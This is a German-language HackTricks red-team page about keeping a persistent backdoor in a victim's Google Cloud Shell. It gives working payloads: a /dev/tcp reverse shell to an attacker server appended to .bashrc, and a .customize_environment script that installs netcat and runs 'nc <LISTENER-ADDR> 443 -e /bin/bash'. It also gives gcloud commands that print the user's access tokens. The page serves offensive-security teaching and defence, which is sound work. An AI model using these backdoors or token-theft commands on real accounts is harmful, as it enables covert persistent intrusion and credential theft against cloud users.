GCP - Cloud Shell Persistenz

Reading time: 5 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Cloud Shell

Für weitere Informationen siehe:

GCP - Cloud Shell Enum

Persistente Hintertür

Google Cloud Shell bietet Ihnen direkten Zugriff auf Ihre Cloud-Ressourcen über die Befehlszeile direkt aus Ihrem Browser, ohne damit verbundene Kosten.

Sie können auf die Google Cloud Shell über die Web-Konsole oder durch Ausführen von gcloud cloud-shell ssh zugreifen.

Diese Konsole hat einige interessante Fähigkeiten für Angreifer:

  1. Jeder Google-Nutzer mit Zugriff auf Google Cloud hat Zugriff auf eine vollständig authentifizierte Cloud Shell-Instanz (Dienstkonten können dies, selbst wenn sie Eigentümer der Organisation sind).
  2. Diese Instanz wird ihr Home-Verzeichnis für mindestens 120 Tage beibehalten, wenn keine Aktivität stattfindet.
  3. Es gibt keine Möglichkeiten für eine Organisation, die Aktivität dieser Instanz zu überwachen.

Das bedeutet im Grunde, dass ein Angreifer eine Hintertür im Home-Verzeichnis des Benutzers platzieren kann, und solange der Benutzer alle 120 Tage mindestens eine Verbindung zur GC Shell herstellt, wird die Hintertür überleben und der Angreifer erhält jedes Mal eine Shell, wenn sie ausgeführt wird, indem er einfach:

bash
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc

Es gibt eine weitere Datei im Home-Verzeichnis namens .customize_environment, die, falls sie existiert, jedes Mal ausgeführt wird, wenn der Benutzer auf die cloud shell zugreift (wie in der vorherigen Technik). Fügen Sie einfach die vorherige Hintertür oder eine wie die folgende ein, um die Persistenz aufrechtzuerhalten, solange der Benutzer die cloud shell "häufig" verwendet:

bash
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash

warning

Es ist wichtig zu beachten, dass beim ersten Mal, wenn eine Aktion, die eine Authentifizierung erfordert, ausgeführt wird, ein Pop-up-Autorisierungsfenster im Browser des Benutzers erscheint. Dieses Fenster muss akzeptiert werden, bevor der Befehl ausgeführt werden kann. Wenn ein unerwartetes Pop-up erscheint, könnte dies Verdacht erregen und potenziell die verwendete Persistenzmethode gefährden.

Dies ist das Pop-up von der Ausführung von gcloud projects list aus der Cloud-Shell (als Angreifer) im Benutzer-Sitzung des Browsers gesehen:

Wenn der Benutzer jedoch die Cloud-Shell aktiv genutzt hat, wird das Pop-up nicht erscheinen und Sie können Tokens des Benutzers mit:

bash
gcloud auth print-access-token
gcloud auth application-default print-access-token

Wie die SSH-Verbindung hergestellt wird

Grundsätzlich werden diese 3 API-Aufrufe verwendet:

Weitere Informationen finden Sie unter https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks